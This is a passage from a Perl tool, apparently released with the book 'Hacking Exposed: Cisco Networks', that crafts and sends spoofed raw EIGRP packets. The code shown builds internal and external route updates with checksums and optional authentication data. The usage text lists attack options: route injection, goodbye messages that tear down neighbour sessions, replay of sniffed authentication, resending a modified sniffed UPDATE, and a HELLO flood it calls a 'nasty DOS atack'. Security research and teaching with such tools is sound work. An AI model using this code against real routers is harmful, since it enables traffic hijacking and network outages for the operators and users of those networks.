$up_ext{bandwidth}.$up_ext{mtu}.$up_ext{hc}.$up_ext{reliab}.$up_ext{load}.$up_ext{reserv2}.$up_ext{ext_route};
	
}else {
$up_ext{checksum}=pack('n',(htons(in_cksum($up_ext{version}.$up_ext{opcode}.$up_ext{checksum}.$up_ext{flags}.$up_ext{sequnce}.
$up_ext{ack}.$up_ext{as}.$up_ext{type}.$up_ext{ier_size}.$up_ext{nh}.$up_ext{or_router}.
$up_ext{or_as}.$up_ext{atag}.$up_ext{metr}.$up_ext{reserv_1}.$up_ext{ext_pr_id}.$up_ext{flags_e}.$up_ext{delay}.
$up_ext{bandwidth}.$up_ext{mtu}.$up_ext{hc}.$up_ext{reliab}.$up_ext{load}.$up_ext{reserv2}.$up_ext{ext_route}))));

$pack=$up_ext{version}.$up_ext{opcode}.$up_ext{checksum}.$up_ext{flags}.$up_ext{sequnce}.
$up_ext{ack}.$up_ext{as}.$up_ext{type}.$up_ext{ier_size}.$up_ext{nh}.$up_ext{or_router}.
$up_ext{or_as}.$up_ext{atag}.$up_ext{metr}.$up_ext{reserv_1}.$up_ext{ext_pr_id}.$up_ext{flags_e}.$up_ext{delay}.
$up_ext{bandwidth}.$up_ext{mtu}.$up_ext{hc}.$up_ext{reliab}.$up_ext{load}.$up_ext{reserv2}.$up_ext{ext_route};
}
send_p($pack);
}

#Send update-ext 
sub up_int {
#If not defined

my (%up_int,$pack);	
%up_int =( version=>pack('C',$version),opcode=>pack('C',$opcode),checksum=>pack('n',0),flags=>pack('N',$flags),
sequnce=>pack('N',$sequence),ack=>pack('N',$ack),as=>pack('N',$as),atype=>pack('n',2),
asize=>pack('n',40),authdata=>pack("H*",$auth),type=>pack("C*",0x01,0x02),
ier_size=>pack('n',0),nh=>ip2bin($nexthop),delay=>pack('N',$delay),bandwidth=>pack('N',$bandwidth),
mtu=>pack24($mtu),hc=>pack('C',$hopcount),reliab=>pack('C',$reliability),load=>pack('C',$load),
reserv2=>pack('n',0),int_route=>pref_ip_inter_2bin($routedest));

$up_int{ier_size}= pack('n',(length($up_int{type}.$up_int{ier_size}.$up_int{nh}.$up_int{delay}.
$up_int{bandwidth}.$up_int{mtu}.$up_int{hc}.$up_int{reliab}.$up_int{load}.$up_int{reserv2}.$up_int{int_route})));
if ($auth){	
$up_int{checksum}=pack('n',(htons(in_cksum($up_int{version}.$up_int{opcode}.$up_int{checksum}.$up_int{flags}.$up_int{sequnce}.
$up_int{ack}.$up_int{as}.$up_int{atype}.$up_int{asize}.$up_int{authdata}.$up_int{type}.$up_int{ier_size}.$up_int{nh}.$up_int{delay}.
$up_int{bandwidth}.$up_int{mtu}.$up_int{hc}.$up_int{reliab}.$up_int{load}.$up_int{reserv2}.$up_int{int_route}))));
$pack=$up_int{version}.$up_int{opcode}.$up_int{checksum}.$up_int{flags}.$up_int{sequnce}.
$up_int{ack}.$up_int{as}.$up_int{atype}.$up_int{asize}.$up_int{authdata}.$up_int{type}.$up_int{ier_size}.$up_int{nh}.$up_int{delay}.
$up_int{bandwidth}.$up_int{mtu}.$up_int{hc}.$up_int{reliab}.$up_int{load}.$up_int{reserv2}.$up_int{int_route};	
}else{	
$up_int{checksum}=pack('n',(htons(in_cksum($up_int{version}.$up_int{opcode}.$up_int{checksum}.$up_int{flags}.$up_int{sequnce}.
$up_int{ack}.$up_int{as}.$up_int{type}.$up_int{ier_size}.$up_int{nh}.$up_int{delay}.
$up_int{bandwidth}.$up_int{mtu}.$up_int{hc}.$up_int{reliab}.$up_int{load}.$up_int{reserv2}.$up_int{int_route}))));
$pack=$up_int{version}.$up_int{opcode}.$up_int{checksum}.$up_int{flags}.$up_int{sequnce}.
$up_int{ack}.$up_int{as}.$up_int{type}.$up_int{ier_size}.$up_int{nh}.$up_int{delay}.
$up_int{bandwidth}.$up_int{mtu}.$up_int{hc}.$up_int{reliab}.$up_int{load}.$up_int{reserv2}.$up_int{int_route};
}
send_p($pack);
}


# Send packet 
sub send_p {
my $data=shift;
if (!$dest){$dest='224.0.0.10';}	
my $packet = new Net::RawIP({
			    ip => {
				   daddr => $dest,
				   saddr => $source,
				   protocol => 88,
				   tos => 0
				  },
			    generic => {
					data => $data
				       }
			   });
	if($retr){		   			   
 while ($retr>0) {   		   
    $packet->send;
    $retr--;
 }
	}else{$packet->send; }
  }

#Utils

sub hex2dec($) { return hex $_[0] }

sub dec2hex($) { return sprintf("%lx", $_[0])} 

#Read and unpack return without read
sub getu_p {
my $pkt=shift;
if (length($pkt)<4){
print "[Short Frame or bad packet] \n";
dtlv_unknown($pkt); 	
}
#Read size 
my (undef, $dword) =unpack('nn',(substr($pkt,0,4)));	
if (length($pkt)<$dword){
print "[Short Frame or bad packet] \n";
dtlv_unknown($pkt); 	
} 
my $pktu=substr($pkt,0,$dword);
my $pkt=substr($pkt,$dword);
return ($pktu,$pkt);
}

sub getu_ps {
my $pkt=shift;
#Read size 
if (length($pkt)<4){
print "[Short Frame or bad packet] \n";
dtlv_unknown($pkt); 	
}
my (undef, $dword) =unpack('nn',(substr($pkt,0,4)));
undef $tmp;	
if (length($pkt)!= $dword){
print "[Short Frame or bad packet] \n";
dtlv_unknown($pkt); 	
} 
my $pktu=substr($pkt,0,$dword);
my $pkt=substr($pkt,$dword);
return ($pktu,$pkt,$dworld);
}


sub pr_hex {
my $pkt=shift;
my $counti=0;
my $sc=0;
my $size=length($pkt);
print "\t HexDump (high nybble first): \n";
for ($counti=0; $counti<= $size ; $counti++) {
print " ".unpack('H2',substr($pkt,$counti,1));
$sc++;
if ($sc>24){
print "\n";
$sc=0;
}	
}
print "\n";
}

sub pr_ns {
my $pkt=shift;
my $counti=0;
my $sc=0;
my $size=length($pkt);
print "\n \t In a short in network (big-endian) order \n";
for ($counti=0; $counti<= $size ; $counti+=2) {
print " ".unpack('n',substr($pkt,$counti,2));
$sc++;
if ($sc>24){
print "\n";
$sc=0;
}	
}
print "\n";
}

sub pr_c {
my $pkt=shift;
my $counti=0;
my $sc=0;
my $size=length($pkt);
print "\t An unsigned char value : \n";
for ($counti=0; $counti<= $size ; $counti++) {
print " ".unpack('C',substr($pkt,$counti,1));
$sc++;
if ($sc>24){
print "\n";
$sc=0;
}	
}
print "\n";
}

sub ip2bin {
	my $ip = shift;
	my @i = split( /\./, $ip) ;
return (pack ("C*","$i[0]","$i[1]","$i[2]","$i[3]")) ;
}


sub pref_ip_inter_2bin {
my $s = shift;
my ($prefix,$t,$pkt);
$prefix=substr($s,-2, 2);
if ($prifix>32) {print "\n Invalid prefix \n"; &usage;}
$pkt= substr($s,0,-3);
if ($prefix <= 24) {
$t= $prefix/8;	
$pkt=substr($pkt,0,-$t);
}
@pkt= split( /\./, $pkt);   
return pack("C*",$prefix,@pkt);
}

sub pref_ip_2bin {
my $s = shift;
my ($prefix,$t,$pkt);
$prefix=substr($s,-2, 2);
if ($prifix>32) {print "\n Invalid prefix \n"; &usage;}
$pkt= substr($s,0,-3);
@pkt= split( /\./, $pkt);   
return pack("C*",$prefix,@pkt);
}





sub pack24 {
my $mtu=shift;
if ($mtu < 65536){return(pack('C',0).pack('n',$mtu));}
elsif($mtu<16777216 && $mtu>65535){return substr(pack('N',$mtu),-3,3);}	
else {print "incorrect value \n"; &usage;}		
}

sub uri_escape {
	my $data = shift;

	# Build a char to hex map
	my %escapes = ();
	for (0..255) {
		$escapes{chr($_)} = sprintf("%%%02X", $_);
	}

	# Default unsafe characters.  RFC 2732 ^(uric - reserved)
	$data =~ s/([^A-Za-z0-9\-_.!~*'()])/$escapes{$1}/g;
	return $data
}
 

sub getu_16 {
my $pkt=shift;
if (length($pkt)<4){
print "[Short Frame or bad packet] \n";
dtlv_unknown($pkt); 	
}
my $tlv=unpack('H4',(substr($pkt,0,4))); 	
return $tlv;
} 

# Calculate the IP checksum

sub in_cksum {

    my ($packet) = @_;
    my ($plen, $short, $num,  $counti, $chk);

    $plen = length($packet);
    $num = int($plen / 2);
    $chk = 0;
    $counti = $plen;

    foreach $short (unpack("S$num", $packet)) {
        $chk += $short;
        $counti = $counti - 2;
    }

    if($counti == 1) {
        $chk += unpack("C", substr($packet, $plen -1, 1));
    }

    # add the two halves together (CKSUM_CARRY -> libnet)
    $chk = ($chk >> 16) + ($chk & 0xffff);
    return(~(($chk >> 16) + $chk) & 0xffff);
}


# Network/host byte order conversion routines.  Network byte order is
# defined as being big-endian.

sub htons
{
    my ($in) = @_;

    return(unpack('n*', pack('S*', $in)));
}

###################

############################
sub usage {
  print <<EOF ;
This program was originally created for the book "Hacking Exposed: Cisco Networks"  
Authors Janis Vizulis, Arhont Ltd. (License GPL-2 ) Please send bugs and comments 
to info[dot]arhont.com 

usage: $0  [--sniff] [ --iface=inteterface ] [--timeout=i]

Options:
  --sniff                  Sniff eigrp packets
  --iface		   Listen on an interface
  --iflist		   List all available network interfaces
  --source                 Source IP address 
  --dest                   Packet destination IP. Default multicast IP - 224.0.0.10
  --timeout=n              pcap init timeout (500 default)
  --hello		   Send EIGRP HELLO
  --update		   Update route
  --query		   Send [Query] (Unreachable destination ) 
  --external               External route 
  --internal		   Internal route
  --ipgoodbye=s            IP to [Goodbye message] Authentification replay not implemented
  --file2ip=s 		   Send raw sniffed eigrp data from file to IP
  --payback 		   Sniff the UPDATE packet, change [Delay] and send it back (PoC)   
  --op=n                   EIGRP opcode number to trigger, capture a packet defined by the trigger onto a disk
  --sn=n                   EIGRP sequence number to trigger 
  --auth                   Authentication data for the reply atack (copy past hex from sniff)
  --opcode		   Custom opcode for hello packets fuzzing
  --flags=n                EIGRP flags (0,1 or 2)
  --version=n              EIGRP version [8 bit integer] Default = 2
  --as=n		   Autonomous system number, Default = 1
  --k1=n		   Metric K1 Default 1
  --k2=n                   Mertic K2 Default 0
  --k3=n		   Mertic K3 Default 1
  --k4=n		   Mertic K4 Default 0
  --k5=n  		   Mertic K4 Default 0
  --mtu=n                  MTU 
  --nms=n		   Add NMS (Next multicast message) to Hello packet  
  --eigrpv=s               EIGRP release version
  --ios=s		   IOS version              
  --hopcount=n             Hop count
  --reliability=n          Reliability
  --load=n		   Load
  --delay=n		   Delay
  --sequence=n             Sequence  (32bit sequence)  Default = 0
  --ack=n		   Acknowledge (32bit sequence) Default = 0
  --nexthop=s              Next Hop
  --bandwidth=n		   Bandwidth
  --routedest=s		   Route destination
  --origrouter=s	   Originating router
  --origas=n		   Originating Autonomous system number
  --arbitatag=n		   Arbitrary tag
  --metric=n		   protocol metric (external EIGRP metric for the external updates)
  --extproto=n		   External protocol ID IGRP(1) EIGRP(2) Static Route(3) RIP(4) 
                           HELLO(5) OSPF(6) IS_IS(7) EGP(8) BGP(9) IDRP(10) Connected link(11)
  --hold=n		   Hold time in seconds
  --hellotime=n		   Hello send retries timeout . Default = 5 sec
  --hellodos=s		   IP subnet. Warning! Nasty DOS atack ! Send HELLO EIGRP Argument from IP range. 	
  --retries=n              Packet send retries Default = 1;			   
Example :
./eigrp.pl --sniff --iface eth0
./eigrp.pl --ipgoodbye 192.168.66.202 --source 192.168.7.8
./eigrp.pl --file2ip update.dat --source 192.168.7.8
./eigrp.pl --update --external --as 65534 --source 192.168.7.8
./eigrp.pl --hello --auth 00020010000000020000000000000000000000000efe07403446c77a9697fe5753f79e52
 --source 192.168.77.8 --nms 1 
./eigrp.pl --help This message
EOF
  
  exit shift;
}

